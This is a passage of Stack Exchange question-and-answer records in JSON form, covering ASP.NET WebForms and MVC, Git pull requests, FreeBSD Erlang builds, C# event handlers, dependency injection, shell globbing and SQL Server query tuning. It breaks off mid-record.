{  "id": "_softwareengineering.111306"  , "question": "Rather than asking a general question about WebForms vs MVC (such as in ASP.NET v/s ASP.NET MVC), I have a specific quesiton.It appears the main differences between the two approaches areWebForms is Event Driven and uses pre built componentsMVC has a built in layer that WebForms does not: the ModelMVC has the Controllers in a separate folder than the Views while the WebForms Controller is the CodeBehindOne could easily add a folder to a WebForm project called Model that stores all the business logic which used in the Code Behind (decoupling the two).  The main argument against WebForms is that it's easy to write business logic in the CodeBehind.  But you could easily add business logic in your MVC controller completely violating the separation of concerns.Now for the question:  Isn't it the case that you could write a WebForms project in such a way that the business logic is separate from the Controller/Code Behind which would have all the benefits of MVC (separation of concerns) while keeping the benefits of WebForms: rich controls, Event driven (if you like events)?"  , "title": "Obtaining the best of both worlds: MVC and WebForms"  , "tags": "asp.net;mvc;business logic;webforms"  , "accepted_answer": "What you're describing is the MVP pattern. There is a framework called WebFormsMVP specifically designed to facilitate this.I'm not sure many will agree that it's the best of both worlds, but it is a considerably more testable way to use WebForms than putting all your code in the codebehind class.However, putting a service layer in between your forms and your data model also achieves this, much more simply."  } 
{  "id": "_softwareengineering.258475"  , "question": "We are planning to use Git pull requests for code review in our company. Before we start I have a basic question: How often should I open a pull request? Is it best to open one for every little commit I create? Or should I open a single pull request for a larger quantum of work, such as all the commits in, say, a user story? What is the right size?What do you do in your team?"  , "title": "How often to open pull requests"  , "tags": "git;code reviews"  , "accepted_answer": "open a single pull request for a larger quantum of work, such as [...] a user story?That's what you should do. Two reasons:There is a mantra that one should commit early and often. Once you get used to it, you will recognize that this is a good habit. The side effect of it is, that you will produce a larger number of commits, which you may or may not want to squash later into fewer ones. That's perfectly ok as long as you didn't publish the stuff in any way.Once you're finished with your work and want it to be merged, you open a PR. Keep in mind that the people who are acting upon your PR are not interested in every single minorish step of the development. They want a completed feature as a whole, because they will have to review it.One major point about DVCS is exactly that: There is no need to publish every tiny step, but you still have the benefits of a repository. Once the branch is merged into the main development branch and/or repository you are contributing to via PRs, typically only the end result is of interest."  } 
{  "id": "_unix.12307"  , "question": "Is there a piece of Linux software that does what GraphClick does in Mac OS X?That is, is there a Linux software that is a graph digitizer software which allows to automatically retrieve the original (x,y)-data from the image of a scanned graph?"  , "title": "Linux equivalent of GraphClick?"  , "tags": "data recovery;image editor;ocr;graph"  , "accepted_answer": "You can use g3data in conjunction with Gnuplot."  } 
{  "id": "_unix.127981"  , "question": "I installed Erlang on amazon ec2 - on FreeBSD 10 with fetch http://www.erlang.org/download/otp_src_17.0.tar.gzgunzip -c otp_src_17.0.tar.gz | tar xf -cd otp_src_17.0./configure --disable-hipegmakegmake installand I get this error:configure: error: Perl is required to generate v2 to v1 mib converter scriptconfigure: error: /bin/sh '/usr/home/ec2-user/otp_src_17.0/lib/snmp/./configure' failed for snmp/.configure: error: /bin/sh '/usr/home/ec2-user/otp_src_17.0/lib/configure' failed for libHow can I install Erlang on FreeBSD 10?"  , "title": "Erlang install on Freebsd 10 on Amazon ec2"  , "tags": "freebsd"  } 
{  "id": "_codereview.52424"  , "question": "This morning, being in urgent need of an effective subject code solution, I have had to write a quick & dirty custom one:using System;using System.Collections.Generic;using System.Linq;using System.Reflection;namespace MyTestConsole{    /// <summary>    /// Handles System.Windows.Forms.WebBrowser DocumentCompleted event handlers    /// </summary>    /// <remarks>    ///     /// Part of code borrowed from    ///     http://stackoverflow.com/questions/3783267/how-to-get-a-delegate-object-from-an-eventinfo    /// by      ///     http://stackoverflow.com/users/259769/enigmativity    ///         /// Needs refactoring, any is very welcome.    ///     /// </remarks>    public class WebBrowserDocumentCompletedEventHandlersKeeper    {        private const string EVENT_NAME = DocumentCompleted;        private System.Windows.Forms.WebBrowser _webBrowser;        public WebBrowserDocumentCompletedEventHandlersKeeper(System.Windows.Forms.WebBrowser webBrowser)        {            _webBrowser = webBrowser;         }        public static EventInfo GetEventInfo(Type controlType, string targetEventName)        {            foreach (var eventInfo in controlType.GetEvents())            {                if (string.Compare(eventInfo.Name, targetEventName, true) == 0) return eventInfo;            }            return null;        }        public void AddEventHandler(System.Windows.Forms.WebBrowserDocumentCompletedEventHandler handler)        {            _webBrowser.DocumentCompleted += handler;        }        public void AddEventHandlers(params System.Windows.Forms.WebBrowserDocumentCompletedEventHandler[] handlers)        {            handlers.ToList().ForEach(handler => AddEventHandler(handler));         }        public void RemoveEventHandler(System.Windows.Forms.WebBrowserDocumentCompletedEventHandler handler)        {            int countBefore = this.Count;            if (countBefore <= 0) throw new InvalidOperationException(WebBrowser instance doesn't have any attached DocumentCompleted event handlers.);             _webBrowser.DocumentCompleted -= handler;            if (countBefore == this.Count) throw new ArgumentException(String.Format('{0}' is missing in the list of WebBrowser instance's attached DocumentCompleted event handlers, handler.Method.Name));         }        public void RemoveEventHandlers(params System.Windows.Forms.WebBrowserDocumentCompletedEventHandler[] handlers)        {            handlers.ToList().ForEach(handler => RemoveEventHandler(handler));        }        public void RemoveAllEventHandlers()        {            if (this.Count <= 0) return;            var eventInfo = GetEventInfo(typeof(System.Windows.Forms.WebBrowser), EVENT_NAME);            Func<EventInfo, FieldInfo> ei2fi =            ei => _webBrowser.GetType().GetField(eventInfo.Name,                BindingFlags.NonPublic |                BindingFlags.Instance |                BindingFlags.GetField);            var fieldInfo = ei2fi(eventInfo);            var eventHandler = fieldInfo.GetValue(_webBrowser);            var removeMethodInfo = eventInfo.GetRemoveMethod();            removeMethodInfo.Invoke(_webBrowser, new object[] { eventHandler });        }        public IEnumerable<MethodInfo> EnumerateAddedHandlers()        {            var eventInfo = GetEventInfo(typeof(System.Windows.Forms.WebBrowser), EVENT_NAME);            Func<EventInfo, FieldInfo> ei2fi =            ei => _webBrowser.GetType().GetField(eventInfo.Name,                BindingFlags.NonPublic |                BindingFlags.Instance |                BindingFlags.GetField);            return  from eventInfo1 in new EventInfo[] { GetEventInfo(typeof(System.Windows.Forms.WebBrowser), EVENT_NAME) }                    let eventFieldInfo = ei2fi(eventInfo1)                    let eventFieldValue =                        (System.Delegate)eventFieldInfo.GetValue(_webBrowser)                    from subscribedDelegate in eventFieldValue.GetInvocationList()                    select subscribedDelegate.Method;        }        public int Count        {            get            {                try                {                    return EnumerateAddedHandlers().Count();                 }                catch { return -1;  }            }        }        #region Testing instrumentation        public void ListHandlers()        {            System.Console.WriteLine(\\n    === List Event Handlers: count = {0}, this.Count);            if (this.Count > 0)            {                int index = 1; foreach (var h in this.EnumerateAddedHandlers())                    System.Console.WriteLine(     {0}. {1} in {2}, index++, h.Name, h.ReflectedType.FullName); // .Assembly.GetName().Name); //  .FullyQualifiedName);            }            else                System.Console.WriteLine(    *** Event handlers are missing.);        }        public byte RunTest(int testIndex, string testTitle, Action a, int expectedCountTestResult, Type expectedException = null)        {            System.Console.Write(\\n{0}. '{1}': , testIndex, testTitle);            try            {                if (_webBrowser.InvokeRequired) _webBrowser.Invoke(a); else a();                ListHandlers();            }            catch (Exception ex)            {                System.Console.WriteLine(\\n    Error = '{0}',\\n    ExpectedException = {1}, ex.Message, expectedException != null && ex.GetType() == expectedException);               }            System.Console.WriteLine(\\n   *** Test result = {0} ***, (expectedCountTestResult == this.Count).ToString().ToUpper());            return expectedCountTestResult == this.Count? (byte)1 : (byte)0;        }        #endregion    }}Here are tests - I have written simple custom test runner as part of this code solution just to have as little as possible bindings to any test frameworks:    partial class Program    {        [STAThread]         static void Main(string[] args)        {            try            {                                var k = new WebBrowserDocumentCompletedEventHandlersKeeper(new System.Windows.Forms.WebBrowser());                byte c = 0;                c += k.RunTest(1, test initial count, () => System.Console.WriteLine(Count1 = {0}, k.Count), -1);                c += k.RunTest(2, test remove not attached handler from empty handlers list, () => k.RemoveEventHandler(docCompleted2), -1, typeof(InvalidOperationException));                c += k.RunTest(3, test add one handler, () => k.AddEventHandler(docCompleted1), 1);                                c += k.RunTest(4, test remove not attached handler, () => k.RemoveEventHandler(docCompleted2), 1, typeof(ArgumentException));                c += k.RunTest(5, test add two handlers, () => k.AddEventHandlers(docCompleted2, docCompleted3), 3);                c += k.RunTest(6, test add already added handler, () => k.AddEventHandler(docCompleted3), 4);                c += k.RunTest(7, test add already added handlers, () => k.AddEventHandlers(docCompleted1, docCompleted2, docCompleted3), 7);                c += k.RunTest(8, test remove one handler, () => k.RemoveEventHandler(docCompleted3), 6);                c += k.RunTest(9, test remove two handlers, () => k.RemoveEventHandlers(docCompleted2, docCompleted3), 4);                c += k.RunTest(10, test remove all handlers, () => k.RemoveAllEventHandlers(), -1);                c += k.RunTest(11, test remove all handlers when none are attached, () => k.RemoveAllEventHandlers(), -1);                System.Console.WriteLine(\\n\\n*** All tests' overall success count == 11 = > {0:U} ***, (c == 11).ToString().ToUpper());            }            catch (Exception ex)            {                System.Console.WriteLine(Main: Error = '{0}', ex.Message);            }        }        private static void docCompleted1(object sender, System.Windows.Forms.WebBrowserDocumentCompletedEventArgs e)        {            throw new NotImplementedException();        }        private static void docCompleted2(object sender, System.Windows.Forms.WebBrowserDocumentCompletedEventArgs e)        {            throw new NotImplementedException();        }        private static void docCompleted3(object sender, System.Windows.Forms.WebBrowserDocumentCompletedEventArgs e)        {            throw new NotImplementedException();        }    }Here are the test results:1. 'test initial count': Count1 = -1    === List Event Handlers: count = -1    *** Event handlers are missing.   *** Test result = TRUE ***2. 'test remove not attached handler from empty handlers list':    Error = 'WebBrowser instance doesn't have any attached DocumentCompleted event handlers.',    ExpectedException = True   *** Test result = TRUE ***3. 'test add one handler':    === List Event Handlers: count = 1     1. docCompleted1 in MyTestConsole.Program   *** Test result = TRUE ***4. 'test remove not attached handler':    Error = ''docCompleted2' is missing in the list of WebBrowser instance's attached DocumentCompleted event handlers',    ExpectedException = True   *** Test result = TRUE ***5. 'test add two handlers':    === List Event Handlers: count = 3     1. docCompleted1 in MyTestConsole.Program     2. docCompleted2 in MyTestConsole.Program     3. docCompleted3 in MyTestConsole.Program   *** Test result = TRUE ***6. 'test add already added handler':    === List Event Handlers: count = 4     1. docCompleted1 in MyTestConsole.Program     2. docCompleted2 in MyTestConsole.Program     3. docCompleted3 in MyTestConsole.Program     4. docCompleted3 in MyTestConsole.Program   *** Test result = TRUE ***7. 'test add already added handlers':    === List Event Handlers: count = 7     1. docCompleted1 in MyTestConsole.Program     2. docCompleted2 in MyTestConsole.Program     3. docCompleted3 in MyTestConsole.Program     4. docCompleted3 in MyTestConsole.Program     5. docCompleted1 in MyTestConsole.Program     6. docCompleted2 in MyTestConsole.Program     7. docCompleted3 in MyTestConsole.Program   *** Test result = TRUE ***8. 'test remove one handler':    === List Event Handlers: count = 6     1. docCompleted1 in MyTestConsole.Program     2. docCompleted2 in MyTestConsole.Program     3. docCompleted3 in MyTestConsole.Program     4. docCompleted3 in MyTestConsole.Program     5. docCompleted1 in MyTestConsole.Program     6. docCompleted2 in MyTestConsole.Program   *** Test result = TRUE ***9. 'test remove two handlers':    === List Event Handlers: count = 4     1. docCompleted1 in MyTestConsole.Program     2. docCompleted2 in MyTestConsole.Program     3. docCompleted3 in MyTestConsole.Program     4. docCompleted1 in MyTestConsole.Program   *** Test result = TRUE ***10. 'test remove all handlers':    === List Event Handlers: count = -1    *** Event handlers are missing.   *** Test result = TRUE ***11. 'test remove all handlers when none are attached':    === List Event Handlers: count = -1    *** Event handlers are missing.   *** Test result = TRUE ****** All tests' overall success count == 11 = > TRUE ***"  , "title": "Keeping WebBrowser control's DocumentCompleted event handlers"  , "tags": "c#;winforms;event handling"  , "accepted_answer": "public static EventInfo GetEventInfo(Type controlType, string targetEventName){    foreach (var eventInfo in controlType.GetEvents())    {        if (string.Compare(eventInfo.Name, targetEventName, true) == 0) return eventInfo;    }    return null;}  a little bit linq with with the help of FirstOrDefault() will lead to  public static EventInfo GetEventInfo(Type controlType, string targetEventName){    return controlType.GetEvents()                      .FirstOrDefault(evt => string.Compare(evt.Name, targetEventName, true) == 0);}  public void AddEventHandlers(params System.Windows.Forms.WebBrowserDocumentCompletedEventHandler[] handlers){    handlers.ToList().ForEach(handler => AddEventHandler(handler)); }  Although this looks short and clear, it is creating unneccesary objects by the call to ToList().     public void AddEventHandlers(params System.Windows.Forms.WebBrowserDocumentCompletedEventHandler[] handlers)    {        foreach(var handler in handlers)        {            AddEventHandler(handler);         }    }This should be applied for RemoveEventHandlers too.  public IEnumerable<MethodInfo> EnumerateAddedHandlers(){    var eventInfo = GetEventInfo(typeof(System.Windows.Forms.WebBrowser), EVENT_NAME);    Func<EventInfo, FieldInfo> ei2fi =    ei => _webBrowser.GetType().GetField(eventInfo.Name,        BindingFlags.NonPublic |        BindingFlags.Instance |        BindingFlags.GetField);    return  from eventInfo1 in new EventInfo[] { GetEventInfo(typeof(System.Windows.Forms.WebBrowser), EVENT_NAME) }            let eventFieldInfo = ei2fi(eventInfo1)            let eventFieldValue =                (System.Delegate)eventFieldInfo.GetValue(_webBrowser)            from subscribedDelegate in eventFieldValue.GetInvocationList()            select subscribedDelegate.Method;}  there is no need call GetEventInfo() twice. Just reuse eventInfo.  public void RemoveEventHandler(System.Windows.Forms.WebBrowserDocumentCompletedEventHandler  handler){    int countBefore = this.Count;    if (countBefore <= 0) throw new InvalidOperationException(WebBrowser instance doesn't have any attached DocumentCompleted event handlers.);     _webBrowser.DocumentCompleted -= handler;    if (countBefore == this.Count) throw new ArgumentException(String.Format('{0}' is missing in the list of WebBrowser instance's attached DocumentCompleted event handlers, handler.Method.Name)); }  this can throw an ArgumentException based on the usage of this class and a registering of the DocumentCompleted outside of this class. Assume that from the application somehow a thread comes along registering that event just after if (countBefore <= 0). Then the condition countBefore == this.Count will be true which results in the said exception.  I think this whole concept how you are doing this registering of events is somehow sub optimal. I don't really get the sense of doing all of this. If you want to be sure that you only register once to that event, you should simply do a -= before you add the handler.  If you need to keep track of the amount of handlers registered to the control, why don't you just have a normal Count property which will be increased and decreased while adding or removing the handler(s)."  } 
{  "id": "_softwareengineering.149792"  , "question": "Let it be known that I am a big fan of dependency injection (DI) and automated testing. I could talk all day about it.BackgroundRecently, our team just got this big project that is to built from scratch. It is a strategic application with complex business requirements. Of course, I wanted it to be nice and clean, which for me meant: maintainable and testable. So I wanted to use DI.ResistanceThe problem was in our team, DI is taboo. It has been brought up a few times, but the gods do not approve. But that did not discourage me.My MoveThis may sound weird but third-party libraries are usually not approved by our architect team (think: thou shalt not speak of Unity, Ninject, NHibernate, Moq or NUnit, lest I cut your finger). So instead of using an established DI container, I wrote an extremely simple container. It basically wired up all your dependencies on startup, injects any dependencies (constructor/property) and disposed any disposable objects at the end of the web request. It was extremely lightweight and just did what we needed. And then I asked them to review it.The ResponseWell, to make it short. I was met with heavy resistance. The main argument was, We don't need to add this layer of complexity to an already complex project. Also, It's not like we will be plugging in different implementations of components. And We want to keep it simple, if possible just stuff everything into one assembly. DI is an uneeded complexity with no benefit.Finally, My QuestionHow would you handle my situation? I am not good in presenting my ideas, and I would like to know how people would present their argument.Of course, I am assuming that like me, you prefer to use DI. If you don't agree, please do say why so I can see the other side of the coin. It would be really interesting to see the point of view of someone who disagrees.UpdateThank you for everyone's answers. It really puts things into perspective. It's nice enough to have another set of eyes to give you feedback, fifteen is really awesome! This are really great answers and helped me see the issue from different sides, but I can only choose one answer, so I will just pick the top voted one. Thanks everyone for taking the time to answer.I have decided that it is probably not the best time to implement DI, and we are not ready for it. Instead, I will concentrate my efforts on making the design testable and attempt to present automated unit testing. I am aware that writing tests is additional overhead and if ever it is decided that the additional overhead is not worth it, personally I would still see it as a win situation since the design is still testable. And if ever testing or DI is a choice in future, the design can easily handle it."  , "title": "Dependency injection: How to sell it"  , "tags": "dependency injection"  , "accepted_answer": "Taking a couple of the counter arguments:We want to keep it simple, if possible just stuff everything into one assembly. DI is an uneeded complexity with no benefit.its not like we will be plugging in different implementations of components.What you want is for the system to be testable. To be easily testable you need to be looking at mocking the various layers of the project (database, communications etc.) and in this case you will be plugging in different implementations of components.Sell DI on the testing benefits it gives you. If the project is complex then you're going to need good, solid unit tests.Another benefit is that, as you are coding to interfaces, if you come up with a better implementation (faster, less memory hungry, whatever) of one of your components, using DI makes it a lot easier to swap out the old implementation for the new.What I'm saying here is that you need to address the benefits that DI brings rather than arguing for DI for the sake of DI. By getting people to agree to the statement:We need X, Y and ZYou then shift the problem. You need to make sure that DI is the answer to this statement. By doing so you co-workers will own the solution rather than feeling that it's been imposed on them."  } 
{  "id": "_datascience.14519"  , "question": "I'm trying to solve a multivariate regression problem similar to PLS regression.The problem can be described as a connectivity analysis problem where we have two regions with unknown unidirectional connections(many-to-many) and given a set of input region patterns and output region patterns, we want to infer the underlying connections.Mathematically, the problem can be formulated as below$Y = BX \\qquad$  where $Y \\in \\mathbb{R}_+^{M\\times N}$, $X \\in \\mathbb{R}_+^{L\\times N}$, and $B \\in \\mathbb{R}_+^{M\\times L}$ with $L > M >> N$The column of $X$ and $Y$, will be a vectorized version of 2D image. Although this would result in highly underdetermined system, I do have some prior knowledge about the pattern in input/output regions that I can incorporate in the model. Is there a model/idea that I can use in situation like this?  "  , "title": "Multitask multivariate regression?"  , "tags": "machine learning;clustering;regression"  , "accepted_answer": "You may want to model your problem using bayesian regression, which may allow you to introduce your prior knowledge in the form of priors (a priori distributions) of the model parameters. They would also allow you to model latent variables that govern the dynamics of the interactions (and impose priors on them as well).The specific approach may be based on sampling (e.g. Markov Chain Monte Carlo) or optimization (e.g. Variational Bayes).One of the most popular bayesian frameworks is Stan, which has bindings to R (rstan) and python (pystan). In R there are other alternatives such a BUGS and JAGS. In the python realm other options are PyMC (which is also pretty popular) or Edward."  } 
{  "id": "_softwareengineering.181482"  , "question": "We're trying to move our project documentation process from Google Documents to a set of self-hosted Git repositories.Text documents are Git-friendly enough, since we usually do not need any fancy formatting, we'll just convert everything to, say, multimarkdown with an option to embed LaTeX for complex cases.But spreadsheets are quite different story... Is there a spreadsheed(-like) format that is friendly to version control systems (and, preferably, is as human-readable as Markdown)? Friendly format: Git works well with the format (it doesn't with XML) and it generates human-readable diffs (extra configuration involving external tools is OK).Obviously, Markdown flavors allow one to build static tables, but I'd like to be able to use stuff like SUM() etc... (Note that CSV has the same problem.) No WYSIWYG is OK, but decent editor/tool support would be nice.Update: Linux-friendly answers only, please. No MS Office stuff."  , "title": "Git-friendly spreadsheet format?"  , "tags": "version control;documentation;tools;linux"  } 
{  "id": "_webmaster.52346"  , "question": "Let assume if everything being equal, which domain name might rank higher if I search for How to fix computer term?HowToFixComputers.comhtfc.com"  , "title": "Do long domain names reduce or increase your PageRank?"  , "tags": "seo;pagerank;ranking"  } 
{  "id": "_unix.242444"  , "question": "I have the following contrived script to illustrate my issue:#!/bin/bashset -euxsudo sleep 120 &spid=$!sleep 1sudo kill $spidwait $!This will print$ ./test.sh + spid=21931+ sleep 1+ sudo sleep 120+ sudo kill 21931+ wait 21931and then hang on 'wait' until the 'sleep 120' times out.  However, when I run sudo kill 21931 from another terminal the sleep process is killed immediately.  I expected the 'sudo kill $spid' line in the script to also kill the sleep process immediately.  Why doesn't this work and how do I make this work?(Might be relevant: I see this behaviour bash 4.3.42 and dash 0.5.7 on Ubuntu 15.10.)"  , "title": "Why does kill not work from script, but does work from terminal?"  , "tags": "bash;ubuntu;kill;dash"  } 
{  "id": "_cstheory.4126"  , "question": "I'm reading Simon Peyton Jones's The Implementation of Functional Programming Languages and there's one statement that surprised me a little bit (on page 39):To a much greater extent than is the  case for imperative languages,  functional languages are largely  syntactic variations of one another,  with relatively few semantic  differences.Now, this was written in 1987 and my thoughts on this subject might be influenced by more modern programming languages that weren't around or popular then.  However, I find this a bit hard to believe.  For instance, I think that the described Miranda programming language (an early predecessor to Haskell) has much more different semantics compared to a strict language like ML than say C has to Pascal or maybe even C has to smalltalk (although I'll cede that C++ provides some validation of his point :-).But then again, I'm basing this on my intuitive understanding.  Is Simon Peyton Jones largely correct in saying this, or is this a controversial point?"  , "title": "How are imperative languages more different from each other than functional languages?"  , "tags": "functional programming;semantics;imperative programming"  } 
{  "id": "_datascience.20319"  , "question": "I want to begin exploring OpenCV in Python but I'm stuck at importing the package cv2. I have installed the package through pip3 install opencv-python and it got installed at this location - C:/Users/Kshitiz/AppData/Local/Programs/Python/Python36-32/Lib/site-packages.When I'm trying to import cv2 using this:import syssys.path.append('C:/Users/Kshitiz/AppData/Local/Programs/Python/Python36-32/Lib/site-packages')import cv2It gives the following error:Traceback (most recent call last):  File <stdin>, line 1, in <module>  File C:/Users/Kshitiz/AppData/Local/Programs/Python/Python36-32/Lib/site-packages\\cv2\\__init__.py, line 7, in <module>    from . import cv2ImportError: cannot import name 'cv2'I have searched a lot but cannot find anything relevant. Please suggest what needs to be done."  , "title": "Import Error: cannot import name 'cv2'"  , "tags": "python;computer vision"  } 
{  "id": "_unix.65450"  , "question": "i have a kvm host based on ubuntu 10.04 host , and the guest is rhel 5.3 64-bit,on the guest i tried to execute mii-tool eth0 SIOCGMIIREG on eth0 failed: Input/output errorSIOCGMIIREG on eth0 failed: Input/output erroreth0: no autonegotiation, 100baseTx-FD, link okand mii-tool -v eth4 eth0: no autonegotiation, 100baseTx-FD, link ok  product info: vendor 00:50:43, model 2 rev 0  basic mode:   software reset, autonegotiation enabled  basic status: autonegotiation complete, link ok  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HDand mii-tool -r eth0 this is output /var/log/messageFeb 20 13:16:44 xil1 kernel: [ 1289.790780] e1000: eth4 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RXso that it is supposed to work with 1000MB/s but it still working with 100MB/s any suggestion what may be the problem ? "  , "title": "kvm guest Network interface no Authenication"  , "tags": "ubuntu;networking;kvm"  } 
{  "id": "_unix.386882"  , "question": "I have again and again had this problem: I have a glob, that matches exactly the correct files, but causes Command line too long. Every time I have converted it to some combination of find and grep that works for the particular situation, but which is not 100% equivalent.For example:./foo*bar/quux[A-Z]{.bak,}/pic[0-9][0-9][0-9][0-9]?.jpgIs there a tool for converting globs into find expressions that I am not aware of? Or is there an option for find to match the glob without matching a the same glob in a subdir (e.g. foo/*.jpg is not allowed to match bar/foo/*.jpg)?"  , "title": "Convert glob to `find`"  , "tags": "find;wildcards"  , "accepted_answer": "If the problem is that you get an argument-list-is-too-long error, use a loop, or a shell built-in. While command glob-that-matches-too-much can error out, for f in glob-that-matches-too-much does not, so you can just do:for f in foo*bar/quux[A-Z]{.bak,}/pic[0-9][0-9][0-9][0-9]?.jpgdo    something $fdoneThe loop might be excruciatingly slow, but it should work.Or:printf %s\\0 foo*bar/quux[A-Z]{.bak,}/pic[0-9][0-9][0-9][0-9]?.jpg |  xargs -r0 something(printf being builtin in most shells, the above works around the limitation of the execve() system call)$ cat /usr/share/**/* > /dev/nullzsh: argument list too long: cat$ printf %s\\n /usr/share/**/* | wc -l165606Also works with bash. I'm not sure exactly where this is documented though.Both Vim's glob2regpat() and Python's fnmatch.translate() can convert globs to regexes, but both also use .* for *, matching across /."  } 
{  "id": "_cs.37992"  , "question": "I am working with random number generation and testing, so I'm using NIST statistical tests to examine my random numbers. Now I want to compare my solution with other RNGs, but i can't find any probabilities of passing a NIST statistical test for them. So does anyone have that info? Info about both PRNGs and TRNGs would be appreciated."  , "title": "Approximate probabilities of passing a NIST statistical test"  , "tags": "reference request;random number generator"  } 
{  "id": "_webapps.22601"  , "question": "Recently when posting links I've found Twitter has no longer offered to automatically shorten URLs; they used to be shortened to a max of 20 characters just when I pasted them into the tweet box. Now they take as many characters as the full URL."  , "title": "Why doesn't Twitter's URL shortening always work?"  , "tags": "twitter;url shortening"  } 
{  "id": "_unix.272817"  , "question": "I am trying to make a tar file. I have 2 folders that I need to tar. let me clear my question.folder 1. /temp1folder 2. /temp1now I want my tar output to be such that when i untar it i get /temp1/* (stuff of temp1) /temp1/temp2/* (temp2 and subdirectories inside temp1).Right now I am copying temp2 into temp1 and than tarring it. Can anyone suggest me to do in a way that I don't have to copy the stuff, As if I kill the process in between I will be left some of temp2's stuff inside temp1."  , "title": "putting files in subdirectory while making tar"  , "tags": "tar"  } 
{  "id": "_codereview.114250"  , "question": "The source data represents interaction between people. Some are internal, others are external.The internals are recorded in the Users table (represented as the Users CTE in this demonstration).Each Entries record is identified by an ID (ItemID), the time of the interaction (Sequence) and who performed the interaction (UserID).The goal is to have a single line per ItemID with the following columns:ItemID - self explanatoryFirstSequence - Sequence value of first interaction (remember in reality this is a time-stamp)firstInternal - UserID of first user that IsInternalFirstInternalSequence - Sequence of firstInternalCountPerFirstInternal - A count of all interactions by firstInternal userCountAllInternal - A count of all interaction with any IsInternal userCountAll - Count of all interactions for ItemIDLastSequence - The last interaction for ItemID - allows to measure the 'age' of the interaction.----- Demo source data BEGINWITH Users AS (    SELECT 'A' AS UserID UNION ALL    SELECT 'B' AS UserID),   Entries AS (    SELECT 10001 ItemID, 'X' AS UserID, 101 AS Sequence UNION ALL    SELECT 10001 ItemID, 'A' AS UserID, 102 AS Sequence UNION ALL    SELECT 10001 ItemID, 'X' AS UserID, 103 AS Sequence UNION ALL    SELECT 10001 ItemID, 'B' AS UserID, 104 AS Sequence UNION ALL    SELECT 10001 ItemID, 'X' AS UserID, 105 AS Sequence UNION ALL    SELECT 10001 ItemID, 'A' AS UserID, 106 AS Sequence    UNION ALL    SELECT 10020 ItemID, 'Y' AS UserID, 201 AS Sequence UNION ALL    SELECT 10020 ItemID, 'Y' AS UserID, 202 AS Sequence UNION ALL    SELECT 10020 ItemID, 'B' AS UserID, 203 AS Sequence UNION ALL    SELECT 10020 ItemID, 'Y' AS UserID, 204 AS Sequence UNION ALL    SELECT 10020 ItemID, 'A' AS UserID, 205 AS Sequence UNION ALL    SELECT 10020 ItemID, 'Y' AS UserID, 206 AS Sequence UNION ALL    SELECT 10020 ItemID, 'B' AS UserID, 207 AS Sequence UNION ALL    SELECT 10020 ItemID, 'B' AS UserID, 208 AS Sequence    UNION ALL    SELECT 10300 ItemID, 'A' AS UserID, 301 AS Sequence UNION ALL    SELECT 10300 ItemID, 'Z' AS UserID, 302 AS Sequence UNION ALL    SELECT 10300 ItemID, 'Z' AS UserID, 303 AS Sequence UNION ALL    SELECT 10300 ItemID, 'Z' AS UserID, 304 AS Sequence UNION ALL    SELECT 10300 ItemID, 'A' AS UserID, 305 AS Sequence UNION ALL    SELECT 10300 ItemID, 'Z' AS UserID, 306 AS Sequence UNION ALL    SELECT 10300 ItemID, 'A' AS UserID, 307 AS Sequence)----- Demo source data END----- Code I am asking about,   Src AS (    SELECT            e.ItemID        ,   e.UserID        ,   e.Sequence        ,   CASE WHEN u.UserID IS NULL THEN 0 ELSE 1 END AS IsInternal        FROM Entries AS e        LEFT JOIN Users as u            ON u.UserID = e.UserID),   Src_UserID AS (    SELECT            *        ,   ROW_NUMBER() OVER (                PARTITION BY Src_UserID.ItemID, Src_UserID.IsInternal                ORDER BY Src_UserID.FirstUserSequence            ) AS RC        FROM (            SELECT                    src.ItemID                ,   src.IsInternal                ,   src.UserID                ,   COUNT(*) AS CountPerUser                ,   MIN(src.Sequence) AS FirstUserSequence                FROM src                GROUP BY src.ItemID, src.IsInternal, src.UserID        ) as Src_UserID),   Src_Items AS (    SELECT            src.ItemID        ,   COUNT(*) AS CountAll        ,   SUM(IsInternal) AS CountAllInternal        ,   MIN(src.Sequence) AS FirstSequence        ,   MAX(src.Sequence) AS LastSequence        FROM src        GROUP BY src.ItemID),   Src_FirstInternal AS (    SELECT            src.ItemID        ,   src.UserID  AS firstInternal        ,   src.CountPerUser AS CountPerFirstInternal        ,   MIN(src.FirstUserSequence) AS FirstInternalSequence        FROM Src_UserID AS src            WHERE src.IsInternal = 1 AND src.RC = 1        GROUP BY src.ItemID, src.IsInternal, src.UserID, src.CountPerUser)    SELECT            s0.ItemID        ,   s0.FirstSequence        ,   s1.firstInternal        ,   s1.FirstInternalSequence        ,   s1.CountPerFirstInternal        ,   s0.CountAllInternal        ,   s0.CountAll        ,   s0.LastSequence        FROM Src_Items as s0        JOIN Src_FirstInternal AS s1            ON s1.ItemID = s0.ItemIDDifference between the Demo code and real life:Items are in tables and not UNION ALL CTEsThe list represented by Entries in the demo, in reality is 800K rows, and takes 8 seconds to retrieve.Sequence column is actually a date.Execution plan:Inspecting the code in the Execution Plan, I see that most of the time is spent on SORT, and it occurs 3 times.GoalI'm trying to get the above query to perform better. Running this on even on a limited set of results takes ages. I wonder if there is a better way of writing this query."  , "title": "Query to count interactions between users"  , "tags": "performance;sql;sql server;t sql"  , "accepted_answer": "Before we begin with the code...I just want to address one thing regarding test cases with sample data. To get the best out of a performance review of your queries, try to provide a sample that's as close as possible to your real data. You stated:Difference between the Demo code and real life:Items are in tables and not UNION ALL CTEsThe list represented by Entries in the demo, in reality is 800K rows, and takes 8 seconds to retrieve.Sequence column is actually a date.While (2) would be difficult to replicate on a small scale, (1) and (3) are fairly simple. I modified your sample data in the following ways to match your real life data more closely:Created temp tables #Users and #Entries including keys and indexes (clustered indexes created automatically on primary key constraintsN/A - cannot produce 800K rows of demo dataChanged sequence column to DATETIME type and seeded demo data using a RAND() formula with DATEADD(). While not completely identical, it should be close enough. New demo data:----- Demo source data BEGINIF OBJECT_ID('tempdb..#Users') IS NOT NULL DROP TABLE #Users;IF OBJECT_ID('tempdb..#Entries') IS NOT NULL DROP TABLE #Entries;GOCREATE TABLE #Users (    UserID VARCHAR(100) NOT NULL,    CONSTRAINT PK_#Users PRIMARY KEY (UserID));CREATE TABLE #Entries (    ItemID INT NOT NULL,    UserID VARCHAR(100) NULL,    Sequence DATETIME NOT NULL,    CONSTRAINT PK_#Entries PRIMARY KEY (ItemID, Sequence),    CONSTRAINT FK_#Users FOREIGN KEY 